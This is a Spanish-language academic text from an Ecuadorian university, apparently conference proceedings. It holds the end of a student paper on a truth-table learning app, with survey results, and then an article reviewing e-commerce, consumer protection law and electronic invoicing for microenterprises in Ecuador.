Este proyecto esta direccionado a apoyar el aprendizaje de los estudiantes acerca de las tablas de valores de verdad, estas tablas pueden construirse haciendo una interpretación de los signos lógicos como: no, o, y, si...entonces, sí y sólo sí; por tanto, este programa está siendo proporcionado para generar resultados de acuerdo con los ejercicios planteados por cada usuario de forma fácil, rápida y segura, con el fin de mejorar las falencias que puedan presentar en relación con esto.

2. MATERIALES Y MÉTODOS

Mediante una encuesta realizada a los estudiantes de Primer Semestre de la carrera de Tecnologías de la Información, cuyos cursos corresponden A, B, C del periodo académico Mayo – septiembre de 2017, se logró obtener información relevante, que van de acuerdo a los objetivos propuestos en la presente investigación, a través de valoraciones cuantitativas facilitando los resultados que se muestran posteriormente.

POBLACIÓN ESTUDIANTIL

Total, estudiantes
70

MUESTRA ESTUDIANTIL

Estudiantes encuestados
30

Para la presente investigación se realizó una encuesta con 6 preguntas y diferentes alternativas de respuestas, las mismas que variaron de acuerdo a las preguntas planteadas. Las principales causas de que los estudiantes tengan falencias al momento de realizar ejercicios de tabla de valores de verdad se dan porque tienden a confundirse con los distintos operadores lógicos con los que se trabaja.

Metodología

Para llegar a los objetivos propuestos se planteó una aplicación informática para todos aquellos estudiantes que cursan Primer semestre en la carrera de Tecnologías de la Información, y otros usuarios que requieran de su uso, con el fin de lograr mejorar el desempeño académico de cada uno.

Método deductivo inductivo: Este método lo que hace es concentrarse en donde enfoques distintos reconociendo cada una de sus ventajas, analizando los aspectos desde generales a los específicos.

3. RESULTADOS Y DISCUSIÓN

Los resultados obtenidos son los siguientes:

TABLA 1:

1. ¿CUÁL ES SU FALENCIA EN LOS EJERCICIOS DE TABLAS DE VALORES DE VERDAD?	
ITEMS	PREFERENCIAS

a) Distinguir el operador lógico.	12
b) Confundirse con proposiciones externas.	12
c) Ninguna.	6
TOTAL	30

GRÁFICO 1:

Fuente: Estudiantes de Primer Semestre de la carrera de Tecnología de Información del periodo academico Mayo – Septiembre 2017.

Elaborado por: Baque Galarza Geomayra, Lino Delgado Bismarck, Ponce Pozo Jonathan y Zambrano Solorzano Sandra.

ANÁLISIS DE RESULTADOS

De acuerdo con la encuesta realizada a los estudiantes de la carrera de Tecnologías de la Información se obtuvo que el 40% de ellos tienen problemas para distinguir los operadores lógicos, el 40% tienden a confundirse con proposiciones extensas y el 20% no tienen problemas. Logrando conocer la realidad de los nuevos profesionales en formación.

TABLA 2:

2. ¿PIENSAS QUE ESTARÍA BIEN CREAR APLICACIONES QUE GENEREN LA TABLAS DE VALORES DE VERDAD?	
ITEMS	PREFERENCIAS
SI	23
NO	2
TAL VEZ	5
TOTAL	30

GRÁFICO 2:

Fuente: Estudiantes de Primer Semestre de la carrera de Tecnología de Información del periodo academico Mayo – Septiembre 2017.

Elaborado por: Baque Galarza Geomayra, Lino Delgado Bismarck, Ponce Pozo Jonathan y Zambrano Solorzano Sandra.

ANÁLISIS DE RESULTADOS

De acuerdo con la encuesta realizada a los estudiantes de la carrera de Tecnologías de la Información se obtuvo que el 77% piensan que, si estaría bien hacer aplicaciones para generar tabla de valores de verdad, el 17% opinan que podría ser posible y el 6% no está de acuerdo. Logrando de esta manera tener un 77 % de resultados positivos al realizar aplicaciones que ayuden con el apoyo y aprendizaje de los estudiantes.

TABLA 3:

3. ¿UTILIZARÍAS UNA APLICACIÓN QUE TE PERMITA RESOLVER TABLAS DE VALORES DE VERDAD?	
ITEMS	PREFERENCIAS
SI	20
NO	4
TAL VEZ	6
TOTAL	30

GRÁFICO 3:

Fuente: Estudiantes de Primer Semestre de la carrera de Tecnología de Información del periodo academico Mayo – Septiembre 2017.

Elaborado por: Baque Galarza Geomayra, Lino Delgado Bismarck, Ponce Pozo Jonathan y Zambrano Solorzano Sandra.

ANÁLISIS DE RESULTADOS

De acuerdo con la encuesta realizada a los estudiantes de la carrera de Tecnologías de la Información obtuvimos que el 67% si utilizase aplicaciones para generar tablas de valores de verdad, el 13% no haría uso de aplicaciones y 20% duda utilizar aplicaciones.

4. CONCLUSIONES

Con la utilización de esta aplicación se pudo observar que los ejercicios se desarrollan rápidamente, que realizarlos manualmente, pues la aplicación fue programada precisamente para la realización de estos ejercicios.

Al identificar las falencias que presentaban los estudiantes se consiguió establecer un nuevo método que les permita dar una solución eficaz a un determinado problema y de esta manera obtener nuevos resultados en los estudiantes.

Esta aplicación permitió establecer lazos entre la tecnología y las matemáticas, ya que son fundamentales para los estudiantes sobre todo para aquellos que ingresan por primera vez a nivelación y primer semestre, y posteriormente le puede ser útil para los próximos semestres, o cuando sea necesario su utilidad.

REFERENCIAS BIBLIOGRAFICAS:

Carranza, S. (s.f.). slideshare. Obtenido de slideshare:

<https://es.slideshare.net/keviintito/software-para-la-generacin-de-tablas-de-verdad-10>

ecured. (s.f.). Obtenido de ecured: https://www.ecured.cu/Tablas_de_la_verdad

ficus. (s.f.). Obtenido de ficus:
http://ficus.pntic.mec.es/rdis0006/lecciones/logica_proposicional/lecciones/las%20tablas%20de%20verdad.htm

Tumero, P. (s.f.). monografías. Obtenido de monografías:
<https://www.monografias.com/trabajos104/circuito-logico/circuito-logico.shtml#ixzz4q2ccuT7j>

BIOGRAFÍA DEL AUTOR

GEOMAYRA YULEIDY BAQUE GALARZA, estudio en la Universidad Estatal del Sur de Manabí, en la Carrera de Tecnología de la Información en Cuarto Semestre Paralelo “A”, Bachiller en ADMINISTRACIÓN DE SISTEMAS en la Unidad Educativa Fiscal “15 DE OCTUBRE” Jipijapa-Manabí-Ecuador.

BISMARCK DAVID LINO DELGADO, estudio en la Universidad Estatal del Sur de Manabí, en la Carrera de Tecnologías de la Información en Cuarto Semestre Paralelo “A”, Bachiller en CIENCIAS SOCIALES en la Unidad Educativa Fiscal “4 DE NOVIEMBRE” Manta-Manabí-Ecuador.

JONATHAN BENITO PONCE POZO, estudio en la Universidad Estatal del Sur de Manabí, en la Carrera de Tecnologías de la Información en Cuarto Semestre Paralelo “A”, Bachiller en ADMINISTRACIÓN DE SISTEMAS en la Unidad Educativa Particular “ECUATORIANA AUSTRIACA” Pedro Carbo-Guayas-Ecuador.

SANDRA ELIZABETH ZAMBRANO SOLORZANO, estudio en la Universidad Estatal del Sur de Manabí, en la Carrera de Tecnología de la Información en Cuarto Semestre Paralelo “A”, Bachiller en CONTABILIDAD en la Unidad Educativa Particular “OLMEDO” Daule-Guayas-Ecuador.

KLEBER GERMINIANO MARCILLO PARRALES, Ing. Eléctrico, Magister en Gerencia Educativa, docente de la carrera de Tecnologías de la Información y la carrera de Ingeniería en

Sistemas Computacionales de la Facultad de Ciencias Técnicas de la Universidad Estatal del Sur de Manabí.

EL COMERCIO ELECTRÓNICO COMO FACTOR CLAVE EN EL DESARROLLO DE UNA MICROEMPRESA

Kevin Ariel Basurto Macías,

Adriana Jamileth Muñiz Pincay,

Ing. Edwin Antonio Mero Lino. Mg.

Ing. Ortiz Hernández María Mercedes. Mg.

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

ariel98macias@gmail.com

adrya199@hotmail.com

edwin_a122@hotmail.es

Ortizhernandes2012@hotmail.es

RESUMEN

La tecnología es uno de los puntos principales en la actualidad, dando pie a la automatización de procesos ya sea simples o complejos, de una manera significativa y que nos ahorre personal, tiempo y dinero desde el punto de vista laboral. El mundo de la información hablando en términos generales, es un mar de conocimiento que tiene mucho por explorar, descubrir y desarrollar. Por lo cual el objetivo de esta investigación es analizar cuan protegido está el consumidor con respecto a las nuevas tendencias electrónicas del comercio. El comercio electrónico genera una facilidad para que los consumidores puedan comprar productos desde sus hogares y a cualquier hora del día. En los países más desarrollados la compra y venta de productos a través del internet es muy común y cada vez de mayor volumen. En un país como el Ecuador existen muchas limitaciones y factores los cuales hacen que el comercio electrónico no tenga la misma acogida que en otros países más desarrollados. Como resultado investigativo permite efectuar un análisis de varios capitulos, el primer capítulo de términos como son: consumidor, comercio electrónico, proveedor, En el segundo capítulo revisaremos el carácter de orden público y de interés social en las normas de protección al Consumidor, Finalmente en el tercer capítulo se examinará lo atinente al comercio electrónico y su régimen jurídico en el Ecuador el cual servirá para analizar el intercambio de bienes y servicios. En nuestro país se deben abrir centros y difundir por los medios de comunicación la importancia que conlleva el

uso del comercio electrónico, Capacitar a pequeños y medianos comerciantes demostrándole las ventajas y desventajas que implica el uso del comercio electrónico

PALABRAS CLAVE: avanza, cambios, comercio, productos y servicio, tecnología.

ABSTRACT

As technology advances all the options or tasks linked to it, undergo major changes, which greatly benefit the people who came to use them as a service or receive a final product. This is the origin of the automation of most financial processes in our current environment, since the supply and demand market were mostly transferred to the internet. For what we currently call electronic commerce. Electronic commerce generates a facility for consumers to buy products from their homes at any time of the day. In the most developed countries, the purchase and sale of products through the internet is very common and increasingly larger. In a country like Ecuador there are many limitations and factors which make e-commerce not as welcome as in other more developed countries. However, the global trend is towards an increase in electronic commerce and that is why Ecuador must adapt to these new trends. The microenterprises of Ecuador face this important challenge, that of expanding into new markets that allow them to optimize their resources making these micro businesses, competitive businesses not only nationally but internationally, through the use of an important tool: The Internet, which allows the entry to electronic markets considered as business models that lower costs, eliminate intermediaries, allow potential market access for millions of customers.

KEYWORDS: advances, changes, commerce, products and service, technology.

1. INTRODUCCIÓN

La tecnología es uno de los puntos principales en la actualidad, dando pie a la automatización de procesos ya sea simples o complejos, de una manera significativa y que nos ahorre personal, tiempo y dinero desde el punto de vista laboral. El mundo de la información hablando en términos generales, es un mar de conocimiento que tiene mucho por explorar, descubrir y desarrollar. Uno de estos grandes pasos o logros en la fusión tecnológica/vida es el comercio electrónico, ya que como sabemos el comercio es una de las actividades originarias de las sociedades humanas.

Una de las tendencias que en la actualidad se está tomando muy en cuenta para incrementar la productividad de un negocio es el comercio electrónico que permite analizar y proporcionar estrategias para llegar con eficiencia a los clientes y a nuevos mercados, dicha tecnología permite analizar y abarcar campos o segmentos de mercado mayores de manera eficiente, eficaz y responsable. Por esta razón se considera oportuna la aplicación del comercio electrónico en un portal web para un negocio ya que es un medio de comunicación masivo y la información expuesta permanece visible las 24 horas del día, los 7 días a la semana, es decir todo el año. Por otro lado, el costo de implementar un portal web no es elevado en comparación con los beneficios que se pueden obtener.

Además de dar una serie de directrices necesarias para que el cliente conozca toda la información que el vendedor quiera proporcionarle, además de la comodidad de comprar desde el lugar en el cual se llegue a tener acceso a dichos portales. Anteriormente muchas compras eran “forzadas” por el factor tiempo, ya que al ir a un local disponías de un tiempo límite ya sea por factores internos o externos, en la actualidad mediante tu computador o Smartphone puedes acceder a una gran cantidad de tiendas virtuales, en las cuales puedes elegir con total libertad sin tomar en cuenta las presiones.

Por lo cual uno de los puntos a desarrollarse dentro de este artículo, es la facilidad y ventajas que trae la utilización del comercio electrónico en el desarrollo de una microempresa, así como las debidas precauciones a tomar para su uso de manera legal.

DESARROLLO

Se pretende destacar la importancia del comercio electrónico, desde las formas de realizar las transacciones por este medio, sus aspectos legales, los sistemas de seguridad y cómo la logística utiliza en el comercio para mejorar la gestión de comercialización de las organizaciones.

Se hace para el efecto, una revisión bibliográfica, se citan datos estadísticos recientes que complementan el artículo. La idea de este artículo surge por la necesidad de realizar una evaluación y análisis del impacto del comercio electrónico a través el Internet en el mismo desarrollo de la logística en las organizaciones. El documento está estructurado con la presentación breve de sus antecedentes (comercio electrónico e Internet), luego, se abordan los medios de pago por medio de este sistema, los aspectos legales que afectan esta tecnología en

el contexto latinoamericano y colombiano y los sistemas de seguridad que se aplican en esta modalidad.

Por otra parte, los autores han explorado distintas fuentes secundarias, cuya bibliografía se relaciona al final y han establecido a través de un lenguaje sencillo y fácil de comprender, alguna relación entre los elementos que son de interés en el artículo: el comercio electrónico y la Logística. Finalmente se relacionan algunas conclusiones que sirven de reflexión acerca de las tendencias de estas tecnologías y cómo éstos pueden incidir en la productividad y competitividad de las empresas. Riveros, D. P. B., & Silva, P. P. B. (2007).

El comercio electrónico permite realizar ventas por internet, igual que cualquier modelo de negocio, es necesario establecer un plan estratégico que permita su aplicación en las pequeñas y medianas empresas (PYMES). Partiendo de este criterio, se realizó un estudio de mercado como requisito para determinar el grado de aceptación de la tienda virtual. A través de una encuesta a la población de la ciudad de Ipiales-Colombia y una encuesta dirigida a las PYMES de la ciudad de Tulcán se determina si estas utilizan internet como medio para vender, promocionar y comercializar sus productos.

En función de la respuesta se propone una metodología de adopción de comercio electrónico, enfocada a PYMES de la ciudad de Tulcán, misma que comprende etapas esenciales en la adecuación de éstas al comercio electrónico.

La investigación parte de un problema detectado: El escaso conocimiento de comercio electrónico afecta el desarrollo comercial de las PYMES, se evidencia dos variables de estudio: las pymes y el comercio electrónico. En base a estudios realizados y al análisis teórico sobre comercio electrónico y PYMES, se elaboró una estructura sobre cómo aplicar este concepto en dichas empresas, a este estudio se ha denominado marco teórico, el mismo que define fases de aplicación para la implementación óptima del e-comerse en las PYMES.

A continuación, se detalla la estructura de la propuesta: diagnóstico, Marco legal, mecánica operativa, tamaño del proyecto web, plan estratégico de marketing web y el estudio financiero. En correspondencia con lo anterior, se adjunta un marco metodológico que expone el camino que siguió la investigación: un diseño exploratorio y descriptivo para el levantamiento de

información, a través de 2 instrumentos de encuesta dirigidas a las PYMES de la ciudad de Tulcán y a la Población de Ipiales, específicamente a los hogares.

La muestra, para la población de las PYMES es de 168 unidades de investigación. Se aplicó a la población de Ipiales a un número de 263, por considerar un conglomerado por conveniencia para la presente investigación. Dentro de las principales conclusiones halladas en esta investigación se determina que las PYMEs estudiadas en un 57.60% están en disposición óptima para aplicar e-comerse.

El 62.35% de la población estudiada como mercado potencial de las PYMEs están dispuestos a comprar por internet y en un 13% han realizado compras. Del total de las pymes el 57.60% de ellas, que están en condiciones más apropiadas para implementar e-commerce, son las pymes comercializadoras de sabana, de este grupo se ubica sabanas Rossy como la empresa inmediata para aplicar comercio electrónico. Por tal motivo se elige a esta PYME como caso de estudio para la presente investigación.

Básicamente, el modelo de aplicación de e-comerse, parte de un diagnóstico, que deben hacer caso una de las pymes, tanto interna como externamente. Para poder plantear un modelo de implementación de acuerdo a sus necesidades. Por lo que las PYMEs deberán establecer requerimientos técnicos y operativos que hagan factible el funcionamiento adecuado de la tienda virtual, además se establecen procesos de diseño web, mecánica operativa de e-comerse, estudio financiero basado en un caso de estudio, que se llevarán para un mejor desarrollo.

Puntualmente y con el fin de demostrar que la aplicación de comercio electrónico incrementará ingresos, se toman los datos de sabanas Rossy y se calcula costos e ingresos incrementales por aplicación de e-commerce, se obtiene un TIR 29,89% y un VAN \$1286,73, en un flujo efectivo calculado en 4 periodos, a una tasa referencial del 12,70%. En consecuencia, es aplicable el concepto de comercio electrónico en la PYMEs. Puetate, P., & Carmen, G. (2014).

Las ventajas y desventajas de realizar compras y ventas de productos a través del internet en Ecuador. El comercio electrónico tiene muchas ventajas tanto para los consumidores como para las empresas las cuales serán analizadas en esta tesis. Sin embargo, también existen varias desventajas y varias limitaciones para el comercio electrónico. El comercio electrónico ha ido ganando importancia con el paso del tiempo y con los avances en la tecnología.

Es por eso que es muy relevante que se vaya implementando sistemas de comercio electrónico en los diferentes países a nivel mundial. Con los avances en la tecnología cada vez es más fácil que el comercio electrónico sea posible entre empresas y sus clientes. El comercio electrónico genera una facilidad para que los consumidores puedan comprar productos desde sus hogares y a cualquier hora del día.

En los países más desarrollados la compra y venta de productos a través del internet es muy común y cada vez de mayor volumen. En un país como el Ecuador existen muchas limitaciones y factores los cuales hacen que el comercio electrónico no tenga la misma acogida que en otros países más desarrollados.

No obstante, la tendencia mundial es hacia un incremento en el comercio electrónico y por eso el Ecuador debe adaptarse a estas nuevas tendencias. Existe un gran potencial de crecimiento y de ganancias gracias al comercio electrónico tanto en Ecuador como en toda Latinoamérica debido a su crecimiento y evolución en los últimos años.

El principal problema que se tiene para poder realizar esta investigación es la falta de información sobre el tema en Ecuador. Debido a que el Ecuador es un país el cual todavía no implementa y se adapta por completo al comercio electrónico es difícil encontrar información pertinente y estudios realizados en el país. En Ecuador todavía existe mucha duda y falta de convicción por parte de las empresas hacia la venta de sus productos a través del internet.

Además, existe esa misma duda por parte de los consumidores hacia la compra de productos online. Es por esto que el comercio electrónico de productos todavía no ha sido adoptado por el Ecuador a gran escala. Una de las principales barreras que ha tenido el comercio electrónico en Ecuador es la confianza de la gente. Muchas personas prefieren comprar en las tiendas físicas debido a que se sienten más seguras.

Por otra parte, cuando las personas compran en línea tienen muchas dudas y sienten que pueden ser víctimas de una estafa. Debido a que para realizar compras de productos por el internet es necesario introducir información como el número y código de seguridad de la tarjeta de crédito a las personas les genera dudas. Esto se debe a que en Ecuador ese tipo de información es muy personal y a las personas no les gusta proveer dicha información por internet.

Para el análisis del problema se van a utilizar varios enfoques. Uno de estos enfoques va a ser desde el punto de vista tecnológico. Es decir, como la tecnología afecta al problema mencionado y todos los factores tecnológicos que influyen en el comercio electrónico. La tecnología es un factor muy importante dentro de este tema y por lo tanto es uno de los enfoques principales.

Otro de los enfoques que se van a utilizar para analizar el problema es el enfoque cultural. La cultura se relaciona mucho con el comercio electrónico y su acogida en países como el Ecuador. Es por eso que el tema cultural va a ser una parte muy importante del análisis. También se utilizará un enfoque técnico en el cual se analizarán las ventajas y desventajas de la compra y venta de productos a través del internet. Es decir, un análisis de teoría y datos investigados los cuales luego serán relacionados con el Ecuador. Pachano Pesántez, J. A. (2013).

Con la finalidad de analizar de qué manera se tutela al consumidor o usuario frente al uso del comercio electrónico en el Ecuador, la presente investigación se ha estructurado en cuatro capítulos que abarcan en su estructura integral la totalidad de los puntos que han sido planteados anteriormente. Para los efectos prácticos, de esta investigación analiza en el capítulo uno los parámetros doctrinarios y legales que versan sobre el comercio tradicional y el comercio electrónico, con el objeto de establecer los puntos diferenciales que caracterizan a cada una de estas prácticas y partir de ahí para determinar las necesidades legales que mantiene la legislación ecuatoriana en cuanto al tema.

Por su parte, el capítulo dos se encasilla en el ámbito que genera los derechos del consumidor bajo los preceptos contenidos en la legislación ecuatoriana, debiendo manifestarse en este sentido que el consumidor constituye uno de los más importantes sujetos que participan en las relaciones comerciales. El capítulo tres por su parte configura un enfoque más específico que se centra en los aspectos del consumidor que son tutelados por la normativa correspondiente, y del análisis del mismo se establecen las falencias que buscan ser subsanadas.

Finalmente, el capítulo cuatro contiene las conclusiones que se han derivado del estudio y las respectivas recomendaciones en donde se establecen alternativas adecuadas y factibles de ser aplicadas en la legislación nacional con la finalidad de garantizar integralmente la protección de los derechos del consumidor cuando este realiza actividades de naturaleza comercial electrónica.

En cuanto se refiere a los derechos del consumidor frente al empleo que este hace de los recursos que actualmente ofrece el comercio electrónico tanto en el Ecuador como en el resto de los países del planeta, es preciso manifestar que se han configurado una amplia serie de circunstancias beneficiosas para garantizar la solvencia y celeridad de las relaciones mercantiles que sustentan la economía nacional y consecuentemente el importante desarrollo de la sociedad y el Estado como tal.

Sin embargo de lo manifestado, es preciso tener en cuenta que la implementación de nuevos mecanismos para asegurar las prácticas comerciales internas y externas del país, han traído como resultado la configuración de aspectos o características negativas para la integridad de los derechos relativos a consumidores que emplean el comercio electrónico con la finalidad de llevar a cabo sus transacciones de carácter mercantil, en cuyo caso, vale decir que a nivel mundial se evidencia un mayor incremento o demanda en el mercado por la utilización del comercio electrónico para realizar compras de bienes y servicios o contrataciones para satisfacer las necesidades de los seres humanos, lo cual trae como consecuencia un nuevo estilo de vida para la sociedad en general.

En los últimos años se ha incrementado significativamente en el Ecuador la utilización del comercio electrónico como herramienta de trabajo, contratación de servicio o simplemente como necesidad de adquirir algún producto. En el país esto se ha constituido en un tema nuevo y novedoso que las personas han ido descubriendo y utilizando para realizar compras de bienes y servicios mediante la red, beneficiándose de las ventajas que brinda este servicio del comercio electrónico.

Sin embargo, como ya fue manifestado con anterioridad, el paso hacia este comercio digital puede traer como consecuencias un sin número de desventajas en diversos aspectos, como en lo económico, en lo social y efectivamente en lo jurídico, entre otros. Una de las desventajas que puede aparecer en el comercio digital es la desprotección al usuario consumidor, por las transacciones realizadas mediante herramientas informáticas para efectivizar dicha compra o contratación.

En este tipo de transacciones pueden existir muchos engaños o estafas mediante falsos distribuidores o vendedores que ofrecen sus productos mediante publicidad engañosa en la red

y así aprovecharse de la ingenuidad de los usuarios que caen en su trampa. Algunos de los problemas principales que tienen los usuarios en este tipo de mercado digital, es la desconfianza de los contratos sin papel, dudas sobre la legalidad de las transacciones realizadas y sobre la veracidad de la entrega del producto, y el desconocimiento de las normas jurídicas a la protección de los derechos del consumidor.

Por eso, se debe considerar en lo normativo diferenciar entre la protección de los derechos de los ciudadanos y los derechos de los consumidores, también es necesario analizar entre las normas de protección al consumidor con el derecho a la intimidad o el derecho a la protección de datos personales. El comercio electrónico ha ido en sorprendente ascenso, la falta de normas de control en el Ecuador deja a los consumidores vulnerables y desprotegidos unos, frente a los otros. Los usuarios con acceso al comercio electrónico están expuestos al fraude y al abuso, el problema es alarmante y amenaza en aumentar a niveles exorbitantes en los próximos años.

Ha existido poca preocupación por parte de autoridades en la problemática que se vive hoy por hoy. La falta de protección o garantías jurídicas al consumidor ha sido muy notoria en estos últimos años, es así que se debe analizar la efectividad de las leyes y demás normativa ecuatoriana, relacionada con el comercio electrónico; y, así demostrar si en realidad se protege a los usuarios de las transacciones realizadas mediante la red.

Ya se habló de que el comercio electrónico debido a la naturaleza de sus componentes y los inherentes efectos que se desprenden de su práctica daba lugar al establecimiento de una clasificación que está sustentada en base a la vigencia de dos parámetros claramente definidos entre sí, por una parte, se encuentra el criterio remitido a los participantes que intervienen en las transacciones de comercio electrónico y por otra, el modelo de negocio que regenta el comercio electrónico realizado.

El primero, es decir, el tipo de comercio electrónico según los participantes puede ser dividido en tres categorías que se detallan a continuación:

Entre empresas. - Este tipo de comercio electrónico hace referencia a la compra y venta de productos o servicios que pueden prestarse entre empresas o personas jurídicas particulares en general, tal es el caso de la gestión por medio del internet para la adquisición de procesos de

aprovechamiento de materiales, permitiendo en este caso una negociación más ágil entre las empresas y sus respectivos proveedores.

Entre empresa y consumidor. - En cuanto a esta categoría de comercio electrónico, se lo considera como el proceso o transacción electrónica que se da entre la empresa o tienda virtual y el consumidor final, así, por ejemplo, existen sitios como Amazon.com o mercadolibre.com en donde es posible adquirir discos, computadores, entre otras.

Entre consumidores. - Un ejemplo claro de la compra entre usuarios o consumidores finales a la cual hace referencia esta categoría de comercio electrónico, es la existencia u operatividad de sitios web especializados en la subasta de artículos de segunda mano o antigüedades, en cuyo caso el público mediante el acceso a internet es capaz de adquirir los mismos de manera directa a otro particular.

Para complementar la idea propuesta, si es considerada la relación que puede presentarse entre consumidores y empresas con la administración pública, se configuran dos tipos adicionales de transacciones electrónicas por medio del internet, los mismos que por su naturaleza no pueden ser considerados como comercio electrónico propiamente dicho pero que, sin embargo, también están revestidos de una muy notoria relevancia, estos son:

Entre ciudadano y administración.- Por otra parte, en cuanto se refiere al segundo tipo de comercio electrónico que basa su naturaleza en el modelo de negocio que se aplique, se hace referencia a lo planteado en doctrina según lo cual, "...los modelos de negocio en internet han sido, desde la aparición de la web y el comercio electrónico, uno de los aspectos más analizados y discutidos por los analistas investigadores, en la literatura se pueden encontrar diversas clasificaciones de estos modelos de negocio, el análisis de los modelos que se detallan en esta sección está basada en la clasificación realizada por Rappa (2002), una de las clasificaciones más exhaustivas que podemos encontrar en la literatura". Camacho Cadena, D. P. (2012).

Para los efectos prácticos de la categorización que se expone en cuanto a esta forma de comercio electrónico, vale decir que la principal clasificación es:

- Tienda virtual.
- Tienda clásica con servicio online.

- Tienda de productos digitales.

- Venta por catálogo.

Internet ofrece un nuevo mercado que define la "economía digital" en la que productores - proveedores de bienes y servicios y consumidores logran una interacción inmediata reduciendo considerablemente costos de producción logrando trascender barreras geográficas, distancias horario. Idiomas y razas, para brindar un servicio activo las 24 horas del día los 365 días del año.

Nuestro país Ecuador, no podía quedarse al margen de este cambio vertiginoso, si bien por el hecho de pertenecer al grupo de países en vías de desarrollo, en las cuales es evidente la "brecha tecnológica" no ha sido obstáculo para que el gobierno se preocupe por regular este sistema de información y de redes electrónicas incluida la internet por considerarlo muy importante para el desarrollo del comercio y la producción. Carrillo Buenaño, L. M. (2008).

La estrecha relación y dependencia existente entre las diferentes denominaciones que la legislación comercial y tributaria ecuatoriana otorga a la factura, manteniendo ésta, independientemente del enfoque -tributario, mercantil y comercial, de comercio electrónico-, su esencia, cual es la de constituirse en uno de los medios probatorios más eficaces en relación con diversas transacciones comerciales realizadas.

Por otro lado, el autor resalta la legalidad de la factura electrónica en el Ecuador, manteniendo como base, la especializada legislación vigente y los diferentes principios jurídicos aplicables al comercio electrónico. Finalmente se revelan las razones de la imperiosa necesidad de que nuestro país instituya, de manera urgente, entidades de certificación de información y un adecuado sistema regulatorio.

Desde un punto de vista más bien genérico, se define la factura como la "relación de los objetos o artículos comprendidos en una venta, remesa u otra operación de comercio" l o, como el "documento en que un industrial o comerciante enumera las mercaderías que envía a un comprador, consignatario, factor, etc., consignando la cantidad, el valor o precio y cargas anexas". Según Tartaruffi "se entiende por factura la nota o detalle de las mercaderías vendidas que el vendedor remite al comprador, con la precisa y detallada indicación de su especie, calidad,

cantidad y de su precio, y con todas aquellas otras que puedan servir o ser necesarias, tanto para individualizar las mercaderías mismas como para determinar el contenido y las modalidades de ejecución del contrato".

Siburu define la factura como la "cuenta que un comerciante envía como consecuencia de una venta u otro contrato, con la indicación de las cualidades que individualizan la mercadería contratada y el precio del convenio", ahora bien, independientemente de los diferentes enfoques que, desde el punto de vista jurídico, pretendamos dar a la factura y tomando en cuenta las definiciones de factura transcritas en párrafos anteriores, consideramos que su esencia radica en constituirse en un eficaz medio probatorio que hace referencia a una determinada transacción comercial.

Paralelamente a lo expresado en el párrafo anterior, el vigente Código de Procedimiento Civil ecuatoriano define al instrumento privado como el "escrito hecho por personas particulares, sin intervención de notario ni de otra persona legalmente autorizada, o por personas públicas en actos que no son de su oficio", haciendo referencia, además, que un instrumento privado, en determinados casos, "hace tanta fe como un instrumento público", la jurisprudencia ecuatoriana, respalda lo mencionado.

Como consecuencia de lo anterior, entendemos la factura como el instrumento privado emitido generalmente por el vendedor, el mismo que debe ser entregado al comprador, mediante el cual se prueba las condiciones y características de una determinada transacción comercial, relacionada con la compraventa de bienes o la prestación de servicios. Merlo, P. X. C. (2006).

Este trabajo trata del comercio electrónico y el tratamiento que de él hacen los organismos internacionales competentes. En primer lugar, se definen los actos jurídicos electrónicos y, en consecuencia, el comercio electrónico, se exponen sus modalidades, las ventajas e inconvenientes de esta nueva forma de hacer negocios a través de Internet principalmente, y por último se explican los proyectos y alternativas reguladoras de algunos organismos internacionales.

Se empleó una revisión documental: bibliografía, hemerográfica y de acuerdos internacionales. Se concluye que existen valiosos esfuerzos de regulación en materia de e-comerce, pero los países deben trabajarse de manera conjunta.

El comercio Electrónico se está transformando en un mecanismo cada vez más viable para el crecimiento productivo de los países, y el internet, además de ser un canal de comunicación muy eficaz, también se está transformando en un mercado alternativo para productos y servicios en el mundo entero.

El objetivo de esta investigación es analizar cuan protegido está el consumidor con respecto a las nuevas tendencias electrónicas del comercio, con el fin de incrementar un mejoramiento en el nivel de vida de los ciudadanos y así obtener confianza en dicho mercado con la implementación de normas legales que amparen adecuadamente los bienes jurídicos de los consumidores y la sociedad ecuatoriana en general. Camacho Cadena, D. P. (2012).

¿Qué pasará en el futuro con respecto al comercio electrónico? ¿Cómo se está involucrando el internet en la sociedad actual? ¿Qué tecnologías se están e irán incorporándose al internet para el desarrollo comercial de esta red sin fronteras geográficas? Conocer las respuestas a estas interrogantes, puede establecer en su debido momento la diferencia entre Visión y Planificación a la hora de emprender dentro de 5 años o menos.

2. Materiales y Métodos

En el desarrollo de la presente investigación se efectuará una investigación documental y una investigación de campo con los siguientes métodos.

Método bibliográfico – documental; aplicado en la etapa de recopilación de información del tema para el proceso de elaboración de la investigación, mediante libros, revistas de carácter científico, internet, entre otros.

Método hipotético deductivo; se utilizó este método en el proceso de análisis de los resultados para emitir las conclusiones en el trabajo de investigación.

3. RESULTADO Y DISCUSIÓN

El presente trabajo investigativo permite efectuar un análisis en el primer capítulo de términos como son: consumidor, comercio electrónico, proveedor, los cuales hay que explicarlos conceptual y doctrinariamente, además de acudir a otras legislaciones y autores, para exponer seguidamente el reconocimiento expreso del derecho del consumidor y el comercio electrónico

en nuestra legislación ecuatoriana, concretamente en la Constitución, Ley Orgánica de Defensa del Consumidor Ecuatoriana y Ley de Comercio Electrónico, Firmas Electrónicas y Mensaje de Datos Ecuatoriana.

En el segundo capítulo revisaremos el carácter de orden público y de interés social en las normas de protección al Consumidor, que caracteriza a la LODCE, importante para precisar luego una serie de derechos a favor del consumidor que contiene dicho cuerpo jurídico que considero pueden activarse en la relación con el proveedor en el campo del comercio electrónico. Prosiguiendo, se examina las obligaciones de los Consumidores, y, las responsabilidades y obligaciones de los proveedores según el mencionado cuerpo normativo.

Finalmente, en el tercer capítulo se examinará lo atinente al comercio electrónico y su régimen jurídico en el Ecuador el cual servirá para analizar el intercambio de bienes y servicios en el marco del comercio electrónico y que ayudará para examinar la relación importante entre el proveedor y el consumidor; así como el consentimiento para aceptar el mensaje de datos y para el uso de medios electrónicos. Luego, el Derecho de información del consumidor en la LCE, FE y MDE y para finalizar determinar conclusiones sobre el presente tema. Montalvo, V., & Vladimir, M. (2007).

4. CONCLUSIONES:

Recopilando información acerca del comercio electrónico y como puede ayudar de manera significativa al desarrollo de una microempresa.

- En este país se deben abrir centros y difundir por los medios de comunicación la importancia que conlleva el uso del comercio electrónico y las facilidades que ofrece a los emprendedores de nuestra generación. Impartir dentro de la universidad referencias acerca del uso del comercio electrónico, las precauciones que se deben tener, así como varios de los estándares legales a seguir para el correcto uso del mismo. Capacitar a pequeños y medianos comerciantes demostrándole las ventajas y desventajas que implica el uso del comercio electrónico, dándoles más opciones para ejercer y publicitar de manera más rápida sus productos y/o servicios.

